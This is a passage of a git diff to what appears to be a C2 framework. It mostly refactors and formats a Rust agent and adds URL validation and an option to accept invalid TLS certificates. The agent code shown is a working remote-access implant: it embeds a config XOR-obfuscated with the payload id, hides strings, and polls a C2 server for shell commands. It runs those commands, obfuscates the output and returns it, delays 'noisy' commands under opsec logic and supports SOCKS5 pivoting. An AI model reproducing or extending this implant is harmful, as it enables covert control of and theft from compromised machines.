"ee9111a1e914eef292d7ed271009d26b65dfa05df5aee437eddf8cf775fb41f3", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 162 + }, + { + "fingerprint": "f3bb0d7bdc13948860df829212a42b3a6537fbaa91af329a001bd1e9ab905fac", + "rule_id": "go/taint-path-traversal", + "file": "server/internal/handlers/web/static_handlers.go", + "line": 48 + }, + { + "fingerprint": "f674595a9aa70026887705db2e821138f36b9dc5370d875becbd568104764eca", + "rule_id": "go/taint-log-injection", + "file": "server/internal/behaviour/http_polling.go", + "line": 165 + }, + { + "fingerprint": "f8a16328642b837fb101f4bd4f2ae2a371205c2cd32a1d4f11eec0f776b32418", + "rule_id": "go/net-http-no-timeout", + "file": "server/cmd/server.go", + "line": 181 + }, + { + "fingerprint": "fd65beb42d5fe34fc0d5d7f2643ef947f3d6129f59641efeee91ccb6fc0a4bb0", + "rule_id": "rs/no-unwrap-in-lib", + "file": "agent/src/win_api_hiding.rs", + "line": 91 + }, + { + "fingerprint": "fed34ee98c87bfaec39f20edc3972f736c215a675a170bba5a9244c9a703f90c", + "rule_id": "rs/unsafe-block", + "file": "agent/src/win_api_hiding.rs", + "line": 80 } ] -} \ No newline at end of file +} diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 998bde6..15cba32 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -153,11 +153,10 @@ jobs: run: cargo build --locked format: - name: Format Advisory + name: Format runs-on: ubuntu-latest needs: changes if: github.event_name == 'workflow_dispatch' || github.event_name == 'merge_group' || github.base_ref == 'main' || github.ref == 'refs/heads/main' || needs.changes.outputs.format == 'true' - continue-on-error: true steps: - name: Checkout uses: actions/checkout@v4 @@ -201,7 +200,8 @@ jobs: "${{ needs.changes.result }}" \ "${{ needs.server.result }}" \ "${{ needs.static.result }}" \ - "${{ needs.agent.result }}"; do + "${{ needs.agent.result }}" \ + "${{ needs.format.result }}"; do case "$result" in success|skipped) ;; @@ -212,18 +212,6 @@ jobs: esac done - case "${{ needs.format.result }}" in - success|skipped) - ;; - failure) - echo "::warning::Format Advisory failed. It is intentionally non-blocking until the formatting backlog is cleaned up." - ;; - *) - echo "::error::Format Advisory finished with status: ${{ needs.format.result }}" - failed=1 - ;; - esac - exit "$failed" package: diff --git a/agent/.config/config.json b/agent/.config/config.json index abb0cbe..6d47a18 100644 --- a/agent/.config/config.json +++ b/agent/.config/config.json @@ -7,6 +7,7 @@ "socks5_enabled": false, "socks5_host": "127.0.0.1", "socks5_port": 9050, + "allow_invalid_certs": false, "base_score_threshold_bg_to_reduced": 20.0, "base_score_threshold_reduced_to_full": 60.0, "min_duration_full_opsec_secs": 300, diff --git a/agent/build.rs b/agent/build.rs index 2203dc6..ee004f3 100644 --- a/agent/build.rs +++ b/agent/build.rs @@ -1,6 +1,6 @@ use std::env; use std::fs; -use std::path::Path; +use std::path::PathBuf; fn log_build(msg: &str) { println!("[BUILD] {}", msg); @@ -18,6 +18,7 @@ fn main() { println!("cargo:rerun-if-env-changed=SOCKS5_ENABLED"); println!("cargo:rerun-if-env-changed=SOCKS5_HOST"); println!("cargo:rerun-if-env-changed=SOCKS5_PORT"); + println!("cargo:rerun-if-env-changed=ALLOW_INVALID_CERTS"); println!("cargo:rerun-if-env-changed=BASE_MAX_C2_FAILS"); println!("cargo:rerun-if-env-changed=C2_THRESH_INC_FACTOR"); println!("cargo:rerun-if-env-changed=C2_THRESH_DEC_FACTOR"); @@ -46,6 +47,10 @@ fn main() { .unwrap_or(false); let socks5_host = env::var("SOCKS5_HOST").unwrap_or_else(|_| "127.0.0.1".to_string()); let socks5_port = env::var("SOCKS5_PORT").unwrap_or_else(|_| "9050".to_string()); + let allow_invalid_certs = env::var("ALLOW_INVALID_CERTS") + .unwrap_or_else(|_| "false".to_string()) + .parse::() + .unwrap_or(false); log_build(&format!("LISTENER_HOST: {}", server_host)); log_build(&format!("LISTENER_PORT: {}", server_port)); @@ -55,22 +60,32 @@ fn main() { log_build(&format!("SOCKS5_ENABLED: {}", socks5_enabled)); log_build(&format!("SOCKS5_HOST: {}", socks5_host)); log_build(&format!("SOCKS5_PORT: {}", socks5_port)); + log_build(&format!("ALLOW_INVALID_CERTS: {}", allow_invalid_certs)); // Only use environment config if we have all required values - let config_content = if !server_host.is_empty() && !server_port.is_empty() && !payload_id.is_empty() { + let config_content = if !server_host.is_empty() + && !server_port.is_empty() + && !payload_id.is_empty() + { log_build("Using environment variables for config"); - let base_score_bg_reduced_thresh = env::var("BASE_SCORE_THRESHOLD_BG_TO_REDUCED").unwrap_or_else(|_| "20.0".to_string()); - let base_score_reduced_full_thresh = env::var("BASE_SCORE_THRESHOLD_REDUCED_TO_FULL").unwrap_or_else(|_| "60.0".to_string()); + let base_score_bg_reduced_thresh = + env::var("BASE_SCORE_THRESHOLD_BG_TO_REDUCED").unwrap_or_else(|_| "20.0".to_string()); + let base_score_reduced_full_thresh = + env::var("BASE_SCORE_THRESHOLD_REDUCED_TO_FULL").unwrap_or_else(|_| "60.0".to_string()); let min_full_opsec = env::var("MIN_FULL_OPSEC_SECS").unwrap_or_else(|_| "300".to_string()); let min_bg_opsec = env::var("MIN_BG_OPSEC_SECS").unwrap_or_else(|_| "60".to_string()); let base_max_c2_fails = env::var("BASE_MAX_C2_FAILS").unwrap_or_else(|_| "5".to_string()); - let min_reduced_opsec = env::var("MIN_REDUCED_OPSEC_SECS").unwrap_or_else(|_| "120".to_string()); - let reduced_activity_sleep = env::var("REDUCED_ACTIVITY_SLEEP_SECS").unwrap_or_else(|_| "120".to_string()); + let min_reduced_opsec = + env::var("MIN_REDUCED_OPSEC_SECS").unwrap_or_else(|_| "120".to_string()); + let reduced_activity_sleep = + env::var("REDUCED_ACTIVITY_SLEEP_SECS").unwrap_or_else(|_| "120".to_string()); let c2_inc_factor = env::var("C2_THRESH_INC_FACTOR").unwrap_or_else(|_| "1.1".to_string()); let c2_dec_factor = env::var("C2_THRESH_DEC_FACTOR").unwrap_or_else(|_| "0.9".to_string()); - let c2_adj_interval = env::var("C2_THRESH_ADJ_INTERVAL").unwrap_or_else(|_| "3600".to_string()); + let c2_adj_interval = + env::var("C2_THRESH_ADJ_INTERVAL").unwrap_or_else(|_| "3600".to_string()); let c2_max_mult = env::var("C2_THRESH_MAX_MULT").unwrap_or_else(|_| "2.0".to_string()); - let proc_scan_interval = env::var("PROC_SCAN_INTERVAL_SECS").unwrap_or_else(|_| "300".to_string()); + let proc_scan_interval = + env::var("PROC_SCAN_INTERVAL_SECS").unwrap_or_else(|_| "300".to_string()); format!( r#"{{ @@ -82,6 +97,7 @@ fn main() { "socks5_enabled": {}, "socks5_host": "{}", "socks5_port": {}, + "allow_invalid_certs": {}, "base_score_threshold_bg_to_reduced": {}, "base_score_threshold_reduced_to_full": {}, "min_duration_full_opsec_secs": {}, @@ -95,19 +111,31 @@ fn main() { "c2_dynamic_threshold_max_multiplier": {}, "proc_scan_interval_secs": {} }}"#, - server_host, server_port, sleep_interval, payload_id, protocol, - socks5_enabled, socks5_host, socks5_port, - base_score_bg_reduced_thresh, base_score_reduced_full_thresh, - min_full_opsec, min_bg_opsec, + server_host, + server_port, + sleep_interval, + payload_id, + protocol, + socks5_enabled, + socks5_host, + socks5_port, + allow_invalid_certs, + base_score_bg_reduced_thresh, + base_score_reduced_full_thresh, + min_full_opsec, + min_bg_opsec, base_max_c2_fails, min_reduced_opsec, reduced_activity_sleep, - c2_inc_factor, c2_dec_factor, c2_adj_interval, c2_max_mult, + c2_inc_factor, + c2_dec_factor, + c2_adj_interval, + c2_max_mult, proc_scan_interval ) } else if let Ok(content) = fs::read_to_string("config.json") { log_build("Using config.json file for config"); - // We assume config.json contains the new fields if needed, + // We assume config.json contains the new fields if needed, // otherwise serde(default) in AgentConfig will handle it. content } else { @@ -122,6 +150,7 @@ fn main() { "socks5_enabled": false, "socks5_host": "127.0.0.1", "socks5_port": 9050, + "allow_invalid_certs": false, "base_score_threshold_bg_to_reduced": 20.0, "base_score_threshold_reduced_to_full": 60.0, "min_duration_full_opsec_secs": 300, @@ -133,21 +162,30 @@ fn main() { "c2_failure_threshold_decrease_factor": 1.0, "c2_threshold_adjust_interval_secs": {}, "c2_dynamic_threshold_max_multiplier": 1.0 - }"#.replace("{}", &u64::MAX.to_string()) - .to_string() + }"# + .replace("{}", &u64::MAX.to_string()) + .to_string() }; // Generate Rust code with the embedded config - let out_dir = env::var_os("OUT_DIR").unwrap(); - let dest_path = Path::new(&out_dir).join("config.rs"); + let out_dir: PathBuf = match env::var_os("OUT_DIR") { + Some(value) => value.into(), + None => { + log_build("OUT_DIR is not set; cannot write generated config"); + return; + } + }; + let dest_path = out_dir.join("config.rs"); log_build(&format!("Writing embedded config to {:?}", dest_path)); - + // Use payload_id as the XOR key let xor_key_bytes = payload_id.as_bytes(); if xor_key_bytes.is_empty() { // Fallback or error if payload_id is empty, as an empty key is bad. // Using a default fixed key here for safety, but ideally, an empty payload_id should be an error. - log_build("Warning: payload_id is empty, using a default XOR key. This is not recommended."); + log_build( + "Warning: payload_id is empty, using a default XOR key. This is not recommended.", + ); // In a real scenario, you might panic here or use a securely generated random key if payload_id must be non-empty. // For this example, let's use a fixed non-empty key to prevent XORing with an empty slice. let fixed_fallback_key = "DefaultFallbackKey123"; @@ -155,7 +193,10 @@ fn main() { for (i, byte) in obfuscated_config_bytes.iter_mut().enumerate() { *byte ^= fixed_fallback_key.as_bytes()[i % fixed_fallback_key.as_bytes().len()]; } - let hex_obfuscated_config = obfuscated_config_bytes.iter().map(|b| format!("{:02x}", b)).collect::(); + let hex_obfuscated_config = obfuscated_config_bytes + .iter() + .map(|b| format!("{:02x}", b)) + .collect::(); let config_code = format!( r###"pub const EMBEDDED_CONFIG_HEX: &str = r#"{}"#; pub const EMBEDDED_CONFIG_XOR_KEY: &str = r#"{}"#; // Embed the actual key used @@ -174,7 +215,10 @@ fn main() { for (i, byte) in obfuscated_config_bytes.iter_mut().enumerate() { *byte ^= xor_key_bytes[i % xor_key_bytes.len()]; } - let hex_obfuscated_config = obfuscated_config_bytes.iter().map(|b| format!("{:02x}", b)).collect::(); + let hex_obfuscated_config = obfuscated_config_bytes + .iter() + .map(|b| format!("{:02x}", b)) + .collect::(); let config_code = format!( r###"pub const EMBEDDED_CONFIG_HEX: &str = r#"{}"#; pub const EMBEDDED_CONFIG_XOR_KEY: &str = r#"{}"#; // Embed the payload_id as the key @@ -189,4 +233,4 @@ fn main() { log_build("Embedded config written successfully with payload_id as XOR key."); } } -} \ No newline at end of file +} diff --git a/agent/src/commands/command_shell.rs b/agent/src/commands/command_shell.rs index 9b9492b..eb172a6 100644 --- a/agent/src/commands/command_shell.rs +++ b/agent/src/commands/command_shell.rs @@ -1,16 +1,18 @@ -use crate::commands::obfuscated::{xor_obfuscate}; -use crate::config::AgentConfig; +use crate::commands::obfuscated::xor_obfuscate; +use crate::config::{validate_c2_base_url, AgentConfig}; use crate::networking::egress::get_egress_ip; use crate::networking::socks5_pivot::Socks5PivotHandler; use crate::networking::socks5_pivot_server::Socks5PivotServer; -use crate::opsec::{AgentMode, determine_agent_mode}; +use crate::opsec::{determine_agent_mode, AgentMode}; use crate::util::random_jitter; use get_if_addrs::get_if_addrs; use hostname; -use log::{info, error, debug, warn}; +use log::{debug, error, info, warn}; +use obfstr::obfstr; use once_cell::sync::Lazy; use os_info; -use reqwest::StatusCode; +use reqwest::{Method, StatusCode, Url}; +use serde::Deserialize; use serde_json::json; use std::collections::HashMap; use std::env; @@ -19,15 +21,14 @@ use std::path::Path; use std::process::Command; use std::sync::Arc; use std::sync::Mutex; -use std::time::{Duration}; -use tokio::sync::Mutex as TokioMutex; +use std::time::Duration; use tokio::sync::mpsc; +use tokio::sync::Mutex as TokioMutex; use tokio::task::JoinHandle; use tokio::time::timeout; -use obfstr::obfstr; -use serde::Deserialize; -static PIVOT_SERVERS: Lazy>>> = Lazy::new(|| TokioMutex::new(HashMap::new())); +static PIVOT_SERVERS: Lazy>>> = + Lazy::new(|| TokioMutex::new(HashMap::new())); static QUEUED_COMMANDS: Lazy>> = Lazy::new(|| Mutex::new(Vec::new())); // Define the expected structure for the command response JSON @@ -36,6 +37,42 @@ struct CommandResponse { command: String, } +#[derive(Clone, Copy)] +enum C2Endpoint { + Heartbeat, + Command, + Result, +} + +impl C2Endpoint { + fn as_segment(self) -> &'static str { + match self { + Self::Heartbeat => "heartbeat", + Self::Command => "command", + Self::Result => "result", + } + } +} + +fn build_c2_endpoint_url( + server_addr: &str, + agent_id: &str, + endpoint: C2Endpoint, +) -> io::Result { + let mut url = validate_c2_base_url(server_addr) + .map_err(|e| io::Error::new(io::ErrorKind::InvalidInput, e))?; + + url.path_segments_mut() + .map_err(|_| io::Error::new(io::ErrorKind::InvalidInput, "C2 URL cannot be a base"))? + .pop_if_empty() + .push("api") + .push("agent") + .push(agent_id) + .push(endpoint.as_segment()); + + Ok(url) +} + // Helper function to get current timestamp fn now_timestamp() -> u64 { std::time::SystemTime::now() @@ -63,7 +100,8 @@ fn get_all_local_ips() -> Vec { let mut ips = Vec::new(); if let Ok(ifaces) = get_if_addrs() { for iface in ifaces { - match iface.addr.ip() { // Use .ip() to get the IpAddr + match iface.addr.ip() { + // Use .ip() to get the IpAddr std::net::IpAddr::V4(ipv4) => { if !ipv4.is_loopback() && !ipv4.is_multicast() { ips.push(ipv4.to_string()); @@ -87,16 +125,26 @@ async fn execute_command(cmd_parts: &[&str]) -> io::Result { // Handle cd command specially if cmd_parts[0] == "cd" { - if let Some(dir) = cmd_parts.get(1) { + if cmd_parts.len() > 1 { + let dir = cmd_parts[1]; let path = Path::new(dir); if path.exists() { env::set_current_dir(path)?; - return Ok(format!("Changed directory to {}", env::current_dir()?.display())); + return Ok(format!( + "Changed directory to {}", + env::current_dir()?.display() + )); } else { - return Err(io::Error::new(io::ErrorKind::NotFound, "Directory not found")); + return Err(io::Error::new( + io::ErrorKind::NotFound, + "Directory not found", + )); } } - return Ok(format!("Current directory: {}", env::current_dir()?.display())); + return Ok(format!( + "Current directory: {}", + env::current_dir()?.display() + )); } // Handle other commands with timeout @@ -108,22 +156,28 @@ async fn execute_command(cmd_parts: &[&str]) -> io::Result { create_command(cmd_parts[0], &cmd_parts[1..]).output()? }; - Ok::<_, io::Error>(format!("{}{}", + Ok::<_, io::Error>(format!( + "{}{}", String::from_utf8_lossy(&output.stdout), - String::from_utf8_lossy(&output.stderr))) - }).await; + String::from_utf8_lossy(&output.stderr) + )) + }) + .await; match result { Ok(Ok(output)) => Ok(output), Ok(Err(e)) => Err(e), - Err(_) => Err(io::Error::new(io::ErrorKind::TimedOut, "Command timed out after 30 seconds")) + Err(_) => Err(io::Error::new( + io::ErrorKind::TimedOut, + "Command timed out after 30 seconds", + )), } } // Update C2 failure tracking to use new accessor pattern fn update_c2_failure_state(success: bool) { use crate::opsec::with_opsec_state_mut; - + with_opsec_state_mut(|state| { if success { if state.consecutive_c2_failures > 0 { @@ -132,7 +186,10 @@ fn update_c2_failure_state(success: bool) { } } else { state.consecutive_c2_failures = state.consecutive_c2_failures.saturating_add(1); - warn!("[OPSEC C2] C2 communication failed, consecutive failures: {}", state.consecutive_c2_failures); + warn!( + "[OPSEC C2] C2 communication failed, consecutive failures: {}", + state.consecutive_c2_failures + ); } }); } @@ -140,29 +197,39 @@ fn update_c2_failure_state(success: bool) { // Add function to mark noisy command executed fn mark_noisy_command_executed() { use crate::opsec::with_opsec_state_mut; - + with_opsec_state_mut(|state| { state.last_noisy_command_time = Some(now_timestamp()); // Use timestamp instead of Instant }); } // Send heartbeat to the server -pub async fn send_heartbeat_with_client(config: &AgentConfig, server_addr: &str, agent_id: &str) -> io::Result<()> { - let url = format!("{}/{}", server_addr, obfstr!("api/agent/{}/heartbeat").to_string().replace("{}", agent_id)); - info!("[HTTP] Sending heartbeat POST to {} (SOCKS5 enabled: {})", url, config.socks5_enabled); - let client_result = config.build_http_client(); - if client_result.is_err() { // Handle client build failure as a C2 failure - update_c2_failure_state(false); - return Err(io::Error::new(io::ErrorKind::Other, client_result.err().unwrap())); - } - let client = client_result.unwrap(); - +pub async fn send_heartbeat_with_client( + config: &AgentConfig, + server_addr: &str, + agent_id: &str, +) -> io::Result<()> { + let url = build_c2_endpoint_url(server_addr, agent_id, C2Endpoint::Heartbeat)?; + info!( + "[HTTP] Sending heartbeat POST to {} (SOCKS5 enabled: {})", + url, config.socks5_enabled + ); + let client = match config.build_http_client() { + Ok(client) => client, + Err(e) => { + update_c2_failure_state(false); + return Err(io::Error::other(e)); + } + }; + let os = os_info::get(); - let hostname = hostname::get()? - .to_string_lossy() - .to_string(); + let hostname = hostname::get()?.to_string_lossy().to_string(); let ip_list = get_all_local_ips(); - let ip = if ip_list.is_empty() { "Unknown".into() } else { ip_list.join(",") }; + let ip = if ip_list.is_empty() { + "Unknown".into() + } else { + ip_list.join(",") + }; let egress_ip = get_egress_ip(server_addr); let data = json!({ @@ -175,9 +242,13 @@ pub async fn send_heartbeat_with_client(config: &AgentConfig, server_addr: &str, "commands": Vec::::new() }); - match client.post(&url).json(&data).send().await { + match client.request(Method::POST, url).json(&data).send().await { Ok(response) => { - info!("[HTTP] Heartbeat response: {} (SOCKS5 enabled: {})", response.status(), config.socks5_enabled); + info!( + "[HTTP] Heartbeat response: {} (SOCKS5 enabled: {})", + response.status(), + config.socks5_enabled + ); if response.status().is_success() { update_c2_failure_state(true); // SUCCESS Ok(()) @@ -196,19 +267,31 @@ pub async fn send_heartbeat_with_client(config: &AgentConfig, server_addr: &str, } // Fetch command from the server -async fn get_command_with_client(config: &AgentConfig, server_addr: &str, agent_id: &str) -> io::Result> { - let url = format!("{}/{}", server_addr, obfstr!("api/agent/{}/command").to_string().replace("{}", agent_id)); - info!("[HTTP] Sending command GET to {} (SOCKS5 enabled: {})", url, config.socks5_enabled); - let client_result = config.build_http_client(); - if client_result.is_err() { - update_c2_failure_state(false); - return Err(io::Error::new(io::ErrorKind::Other, client_result.err().unwrap())); - } - let client = client_result.unwrap(); +async fn get_command_with_client( + config: &AgentConfig, + server_addr: &str, + agent_id: &str, +) -> io::Result> { + let url = build_c2_endpoint_url(server_addr, agent_id, C2Endpoint::Command)?; + info!( + "[HTTP] Sending command GET to {} (SOCKS5 enabled: {})", + url, config.socks5_enabled + ); + let client = match config.build_http_client() { + Ok(client) => client, + Err(e) => { + update_c2_failure_state(false); + return Err(io::Error::other(e)); + } + }; - match client.get(&url).send().await { + match client.request(Method::GET, url).send().await { Ok(response) => { - info!("[HTTP] Command GET response: {} (SOCKS5 enabled: {})", response.status(), config.socks5_enabled); + info!( + "[HTTP] Command GET response: {} (SOCKS5 enabled: {})", + response.status(), + config.socks5_enabled + ); if response.status() == StatusCode::NO_CONTENT { update_c2_failure_state(true); // SUCCESS (no command) return Ok(None); @@ -223,11 +306,17 @@ async fn get_command_with_client(config: &AgentConfig, server_addr: &str, agent_ Err(e) => { error!("[HTTP] Failed to parse command response JSON: {}", e); update_c2_failure_state(false); // FAILURE (bad JSON) - Err(io::Error::new(io::ErrorKind::InvalidData, "Invalid JSON response")) + Err(io::Error::new( + io::ErrorKind::InvalidData, + "Invalid JSON response", + )) } } } else { - error!("[HTTP] Command fetch failed with status: {}", response.status()); + error!( + "[HTTP] Command fetch failed with status: {}", + response.status() + ); update_c2_failure_state(false); // FAILURE (bad HTTP status) Err(io::Error::new(io::ErrorKind::Other, "Command fetch failed")) } @@ -246,32 +335,46 @@ async fn submit_result_with_client( server_addr: &str, agent_id: &str, command: &str, - output: &str + output: &str, ) -> io::Result<()> { - let url = format!("{}/{}", server_addr, obfstr!("api/agent/{}/result").to_string().replace("{}", agent_id)); - info!("[HTTP] Sending result POST to {} (SOCKS5 enabled: {})", url, config.socks5_enabled); - let client_result = config.build_http_client(); - if client_result.is_err() { - update_c2_failure_state(false); - return Err(io::Error::new(io::ErrorKind::Other, client_result.err().unwrap())); - } - let client = client_result.unwrap(); + let url = build_c2_endpoint_url(server_addr, agent_id, C2Endpoint::Result)?; + info!( + "[HTTP] Sending result POST to {} (SOCKS5 enabled: {})", + url, config.socks5_enabled + ); + let client = match config.build_http_client() { + Ok(client) => client, + Err(e) => { + update_c2_failure_state(false); + return Err(io::Error::other(e)); + } + }; let obfuscated_output = xor_obfuscate(output, agent_id); let data = json!({ "command": command, "output": obfuscated_output }); - match client.post(&url).json(&data).send().await { + match client.request(Method::POST, url).json(&data).send().await { Ok(response) => { - info!("[HTTP] Result POST response: {} (SOCKS5 enabled: {})", response.status(), config.socks5_enabled); + info!( + "[HTTP] Result POST response: {} (SOCKS5 enabled: {})", + response.status(), + config.socks5_enabled + ); if response.status().is_success() { update_c2_failure_state(true); // SUCCESS Ok(()) } else { - error!("[HTTP] Result submission failed with status: {}", response.status()); + error!( + "[HTTP] Result submission failed with status: {}", + response.status() + ); update_c2_failure_state(false); // FAILURE - Err(io::Error::new(io::ErrorKind::Other, "Result submission failed")) + Err(io::Error::new( + io::ErrorKind::Other, + "Result submission failed", + )) } } Err(e) => { @@ -283,10 +386,7 @@ async fn submit_result_with_client( } fn is_weak_command(cmd: &str) -> bool { - let quiet = [ - obfstr!("ping").to_string(), - obfstr!("echo").to_string(), - ]; + let quiet = [obfstr!("ping").to_string(), obfstr!("echo").to_string()]; quiet.iter().any(|q| cmd.starts_with(q)) } @@ -342,7 +442,10 @@ pub async fn agent_loop( // Use a separate Result variable to avoid breaking loop on first heartbeat failure let initial_heartbeat_result = send_heartbeat_with_client(&config, server_addr, agent_id).await; if let Err(e) = initial_heartbeat_result { - error!("[SHELL] Initial heartbeat failed: {}. Returning to main loop for OPSEC re-assessment.", e); + error!( + "[SHELL] Initial heartbeat failed: {}. Returning to main loop for OPSEC re-assessment.", + e + ); // No need to break explicitly, loop condition will handle it if state changed due to failure } @@ -352,24 +455,31 @@ pub async fn agent_loop( // If no longer in BackgroundOpsec, exit agent_loop immediately if current_mode != AgentMode::BackgroundOpsec { - info!("[SHELL] Mode changed to {:?}, exiting agent_loop", current_mode); + info!( + "[SHELL] Mode changed to {:?}, exiting agent_loop", + current_mode + ); break; } // Still in BackgroundOpsec, proceed with C2 communication let sleep_time = random_jitter(config.sleep_interval, config.jitter); info!("[SHELL] Polling for commands (Interval: {}s)", sleep_time); - + match get_command_with_client(&config, server_addr, agent_id).await { Ok(Some(command)) => { info!("[SHELL] Received command: {}", command); - + // Check if we should queue this command or execute immediately if should_queue_command(&command) { // Queue the command let mut queue_guard = QUEUED_COMMANDS.lock().unwrap(); queue_guard.push(command.clone()); - info!("[OPSEC] Command '{}' queued (total queued: {})", command, queue_guard.len()); + info!( + "[OPSEC] Command '{}' queued (total queued: {})", + command, + queue_guard.len() + ); } else { // Execute immediately (only weak commands in BackgroundOpsec) info!("[SHELL] Executing weak command immediately: {}", command); @@ -377,14 +487,30 @@ pub async fn agent_loop( match execute_command(&cmd_parts).await { Ok(output) => { info!("[SHELL] Command executed successfully"); - if let Err(e) = submit_result_with_client(&config, server_addr, agent_id, &command, &output).await { + if let Err(e) = submit_result_with_client( + &config, + server_addr, + agent_id, + &command, + &output, + ) + .await + { error!("[SHELL] Failed to submit result: {}", e); } } Err(e) => { error!("[SHELL] Command execution failed: {}", e); let error_output = format!("Error: {}", e); - if let Err(e) = submit_result_with_client(&config, server_addr, agent_id, &command, &error_output).await { + if let Err(e) = submit_result_with_client( + &config, + server_addr, + agent_id, + &command, + &error_output, + ) + .await + { error!("[SHELL] Failed to submit error result: {}", e); } } @@ -401,37 +527,59 @@ pub async fn agent_loop( } } - // --- Process Queued Commands --- + // --- Process Queued Commands --- // Always check and process queue while in BackgroundOpsec let mut commands_to_run = Vec::new(); { let mut queue_guard = QUEUED_COMMANDS.lock().unwrap(); commands_to_run.extend(queue_guard.drain(..)); } // Lock released - + if !commands_to_run.is_empty() { - info!("[SHELL] Processing {} queued commands", commands_to_run.len()); + info!( + "[SHELL] Processing {} queued commands", + commands_to_run.len() + ); for command in commands_to_run { info!("[SHELL] Executing queued command: {}", command); let cmd_parts: Vec<&str> = command.split_whitespace().collect(); - + // Mark noisy command execution with timestamp if is_strong_command(&command) { mark_noisy_command_executed(); // Use timestamp instead of Instant } - + match execute_command(&cmd_parts).await { Ok(output) => { info!("[SHELL] Queued command executed successfully"); - if let Err(e) = submit_result_with_client(&config, server_addr, agent_id, &command, &output).await { + if let Err(e) = submit_result_with_client( + &config, + server_addr, + agent_id, + &command, + &output, + ) + .await + { error!("[SHELL] Failed to submit queued command result: {}", e); } } Err(e) => { error!("[SHELL] Queued command execution failed: {}", e); let error_output = format!("Error: {}", e); - if let Err(e) = submit_result_with_client(&config, server_addr, agent_id, &command, &error_output).await { - error!("[SHELL] Failed to submit queued command error result: {}", e); + if let Err(e) = submit_result_with_client( + &config, + server_addr, + agent_id, + &command, + &error_output, + ) + .await + { + error!( + "[SHELL] Failed to submit queued command error result: {}", + e + ); } } } @@ -481,3 +629,33 @@ async fn stop_pivot_server(port: u16) -> Result { } } +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn builds_c2_endpoint_urls_from_validated_base() -> io::Result<()> { + let url = build_c2_endpoint_url( + "https://c2.example/base/", + "agent/one", + C2Endpoint::Heartbeat, + )?; + + assert_eq!( + url.as_str(), + "https://c2.example/base/api/agent/agent%2Fone/heartbeat" + ); + + Ok(()) + } + + #[test] + fn rejects_invalid_c2_endpoint_bases() { + let err = match build_c2_endpoint_url("file:///tmp/c2", "agent-one", C2Endpoint::Command) { + Ok(url) => panic!("unexpected valid C2 URL: {}", url), + Err(err) => err, + }; + + assert_eq!(err.kind(), io::ErrorKind::InvalidInput); + } +} diff --git a/agent/src/commands/mod.rs b/agent/src/commands/mod.rs index 8e9e27b..21d32f5 100644 --- a/agent/src/commands/mod.rs +++ b/agent/src/commands/mod.rs @@ -1,2 +1,2 @@ pub mod command_shell; -pub mod obfuscated; \ No newline at end of file +pub mod obfuscated; diff --git a/agent/src/commands/obfuscated.rs b/agent/src/commands/obfuscated.rs index 44797c6..fa180e8 100644 --- a/agent/src/commands/obfuscated.rs +++ b/agent/src/commands/obfuscated.rs @@ -13,7 +13,7 @@ pub fn xor_deobfuscate(hex: &str, key: &str) -> Option { let key_bytes = key.as_bytes(); let bytes: Result, _> = (0..hex.len()) .step_by(2) - .map(|i| u8::from_str_radix(&hex[i..i+2], 16)) + .map(|i| u8::from_str_radix(&hex[i..i + 2], 16)) .collect(); bytes.ok().map(|v| { v.into_iter() @@ -25,8 +25,16 @@ pub fn xor_deobfuscate(hex: &str, key: &str) -> Option { pub fn obfuscate_command(cmd: &str) -> String { let mapping = [ - ('a', 'ᵃ'), ('e', 'ᵉ'), ('o', 'ᵒ'), ('i', 'ᶦ'), ('s', 'ˢ'), - ('l', 'ˡ'), ('t', 'ᵗ'), ('n', 'ⁿ'), ('r', 'ʳ'), ('d', 'ᵈ') + ('a', 'ᵃ'), + ('e', 'ᵉ'), + ('o', 'ᵒ'), + ('i', 'ᶦ'), + ('s', 'ˢ'), + ('l', 'ˡ'), + ('t', 'ᵗ'), + ('n', 'ⁿ'), + ('r', 'ʳ'), + ('d', 'ᵈ'), ]; let mut result = String::with_capacity(cmd.len()); for c in cmd.chars() { @@ -82,4 +90,4 @@ pub fn random_char_insertion(s: &str, probability: f32) -> String { } } result -} \ No newline at end of file +} diff --git a/agent/src/config.rs b/agent/src/config.rs index 1f61a12..14e88cb 100644 --- a/agent/src/config.rs +++ b/agent/src/config.rs @@ -1,11 +1,11 @@ +use log::{error, info, warn}; +use obfstr::obfstr; +use reqwest::{Client, Proxy, Url}; use serde::{Deserialize, Serialize}; +use std::env; use std::fs; use std::io; use std::path::Path; -use std::env; -use log::{info, warn, error}; -use reqwest::{Client, Proxy}; -use obfstr::obfstr; // Include the generated config file include!(concat!(env!("OUT_DIR"), "/config.rs")); @@ -13,17 +13,66 @@ include!(concat!(env!("OUT_DIR"), "/config.rs")); // Helper function to deobfuscate the config fn deobfuscate_config(hex_content: &str, key_str: &str) -> Result { let key_bytes = key_str.as_bytes(); + if key_bytes.is_empty() { + return Err("Config XOR key cannot be empty".to_string()); + } + if (hex_content.len() & 1) != 0 { + return Err("Invalid hex string length".to_string()); + } + let mut obfuscated_bytes = Vec::new(); - for i in (0..hex_content.len()).step_by(2) { - let byte_str = hex_content.get(i..i+2).ok_or_else(|| "Invalid hex string length".to_string())?; - let byte = u8::from_str_radix(byte_str, 16).map_err(|e| format!("Invalid hex character: {}", e))?; + for chunk in hex_content.as_bytes().chunks_exact(2) { + let byte_str = + std::str::from_utf8(chunk).map_err(|e| format!("Invalid hex encoding: {}", e))?; + let byte = u8::from_str_radix(byte_str, 16) + .map_err(|e| format!("Invalid hex character: {}", e))?; obfuscated_bytes.push(byte); } for (i, byte) in obfuscated_bytes.iter_mut().enumerate() { *byte ^= key_bytes[i % key_bytes.len()]; } - String::from_utf8(obfuscated_bytes).map_err(|e| format!("Deobfuscated config is not valid UTF-8: {}", e)) + String::from_utf8(obfuscated_bytes) + .map_err(|e| format!("Deobfuscated config is not valid UTF-8: {}", e)) +} + +pub fn validate_http_url(raw_url: &str) -> Result { + let url = Url::parse(raw_url).map_err(|e| format!("Invalid URL '{}': {}", raw_url, e))?; + + match url.scheme() { + "http" | "https" => {} + scheme => { + return Err(format!( + "Unsupported URL scheme '{}'; expected http or https", + scheme + )) + } + } + + if url.host_str().is_none() { + return Err("URL must include a host".to_string()); + } + + Ok(url) +} + +pub fn validate_c2_base_url(raw_url: &str) -> Result { + let url = validate_http_url(raw_url)?; + + if !url.username().is_empty() || url.password().is_some() { + return Err("C2 base URL must not include credentials".to_string()); + } + if url.query().is_some() || url.fragment().is_some() { + return Err("C2 